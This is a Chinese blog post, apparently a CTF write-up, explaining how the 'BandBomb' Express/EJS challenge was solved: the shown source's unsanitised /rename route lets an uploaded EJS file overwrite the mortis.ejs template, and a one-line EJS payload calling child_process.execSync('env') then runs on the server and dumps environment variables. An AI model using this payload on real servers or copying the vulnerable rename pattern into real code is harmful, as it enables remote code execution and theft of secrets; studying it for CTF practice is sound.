Javascript-Express框架-EJS模板,在CTF中的应用

lzz0403

Express的基本使用

使用Express框架可以简化HTTP请求的处理。例如,创建一个基本的Web服务器只需要几行代码:

1
2
3
4
5
6
7
8
9
10
const express = require('express');
const app = express();

app.get('/', (req, res) => {
res.send('Hello World');
});

app.listen(3000, () => {
console.log('Server is running on http://localhost:3000');
});
1
2
3
4
5
6
7
8
9
10
const express = require('express');
const app = express();

app.get('/', (req, res) => {
res.send('Hello World');
});

app.listen(3000, () => {
console.log('Server is running on http://localhost:3000');
});

在上述代码中,app.get()方法用于监听客户端的GET请求,而app.listen()则启动服务器。 这里设置了渲染模板为EJS,渲染的默认文件是/views/mortis.ejs

EJS模板有关内容EJS – 嵌入式 JavaScript 模板引擎 | EJS 中文文档

BandBomb

源码如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
const express = require('express');
const multer = require('multer');
const fs = require('fs');
const path = require('path');

const app = express();

app.set('view engine', 'ejs');

app.use('/static', express.static(path.join(__dirname, 'public')));
app.use(express.json());

const storage = multer.diskStorage({
destination: (req, file, cb) => {
const uploadDir = 'uploads';
if (!fs.existsSync(uploadDir)) {
fs.mkdirSync(uploadDir);
}
cb(null, uploadDir);
},
filename: (req, file, cb) => {
cb(null, file.originalname);
}
});

const upload = multer({
storage: storage,
fileFilter: (_, file, cb) => {
try {
if (!file.originalname) {
return cb(new Error('无效的文件名'), false);
}
cb(null, true);
} catch (err) {
cb(new Error('文件处理错误'), false);
}
}
});

app.get('/', (req, res) => {
const uploadsDir = path.join(__dirname, 'uploads');

if (!fs.existsSync(uploadsDir)) {
fs.mkdirSync(uploadsDir);
}

fs.readdir(uploadsDir, (err, files) => {
if (err) {
return res.status(500).render('mortis', { files: [] });
}
res.render('mortis', { files: files });
});
});

app.post('/upload', (req, res) => {
upload.single('file')(req, res, (err) => {
if (err) {
return res.status(400).json({ error: err.message });
}
if (!req.file) {
return res.status(400).json({ error: '没有选择文件' });
}
res.json({
message: '文件上传成功',
filename: req.file.filename
});
});
});

app.post('/rename', (req, res) => {
const { oldName, newName } = req.body;
const oldPath = path.join(__dirname, 'uploads', oldName);
const newPath = path.join(__dirname, 'uploads', newName);

if (!oldName || !newName) {
return res.status(400).json({ error: ' ' });
}

fs.rename(oldPath, newPath, (err) => {
if (err) {
return res.status(500).json({ error: ' ' + err.message });
}
res.json({ message: ' ' });
});
});

app.listen(port, () => {
console.log(`服务器运行在 http://localhost:${port}`);
});

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
const express = require('express');
const multer = require('multer');
const fs = require('fs');
const path = require('path');

const app = express();

app.set('view engine', 'ejs');

app.use('/static', express.static(path.join(__dirname, 'public')));
app.use(express.json());

const storage = multer.diskStorage({
destination: (req, file, cb) => {
const uploadDir = 'uploads';
if (!fs.existsSync(uploadDir)) {
fs.mkdirSync(uploadDir);
}
cb(null, uploadDir);
},
filename: (req, file, cb) => {
cb(null, file.originalname);
}
});

const upload = multer({
storage: storage,
fileFilter: (_, file, cb) => {
try {
if (!file.originalname) {
return cb(new Error('无效的文件名'), false);
}
cb(null, true);
} catch (err) {
cb(new Error('文件处理错误'), false);
}
}
});

app.get('/', (req, res) => {
const uploadsDir = path.join(__dirname, 'uploads');

if (!fs.existsSync(uploadsDir)) {
fs.mkdirSync(uploadsDir);
}

fs.readdir(uploadsDir, (err, files) => {
if (err) {
return res.status(500).render('mortis', { files: [] });
}
res.render('mortis', { files: files });
});
});

app.post('/upload', (req, res) => {
upload.single('file')(req, res, (err) => {
if (err) {
return res.status(400).json({ error: err.message });
}
if (!req.file) {
return res.status(400).json({ error: '没有选择文件' });
}
res.json({
message: '文件上传成功',
filename: req.file.filename
});
});
});

app.post('/rename', (req, res) => {
const { oldName, newName } = req.body;
const oldPath = path.join(__dirname, 'uploads', oldName);
const newPath = path.join(__dirname, 'uploads', newName);

if (!oldName || !newName) {
return res.status(400).json({ error: ' ' });
}

fs.rename(oldPath, newPath, (err) => {
if (err) {
return res.status(500).json({ error: ' ' + err.message });
}
res.json({ message: ' ' });
});
});

app.listen(port, () => {
console.log(`服务器运行在 http://localhost:${port}`);
});

这里js用了express框架和ejs模板,未设置渲染文件路径,则默认为views,这个网站有upload和rename路由,通过审计发现rename路由存在可以覆盖原文件功能,于是猜测可以通过upload上传带有命令mortis.ejs文件,然后通过rename覆盖原有的mortis.ejs,再次访问/路由,重新渲染,调用mortis.ejs,得到权限。

mortis.ejs-exp

1
<%= process.mainModule.require('child_process').execSync('env').toString() %>
1
<%= process.mainModule.require('child_process').execSync('env').toString() %>

上传后得到flag

  • Title: Javascript-Express框架-EJS模板,在CTF中的应用
  • Author: lzz0403
  • Created at : 2025-02-10 00:00:00
  • Updated at : 2026-05-03 12:19:02
  • Link: https://www.cnup.top/2025/02/10/Javascript-Express框架-EJS模板,在CTF中的应用/
  • License: This work is licensed under CC BY-NC-SA 4.0.
On this page
Javascript-Express框架-EJS模板,在CTF中的应用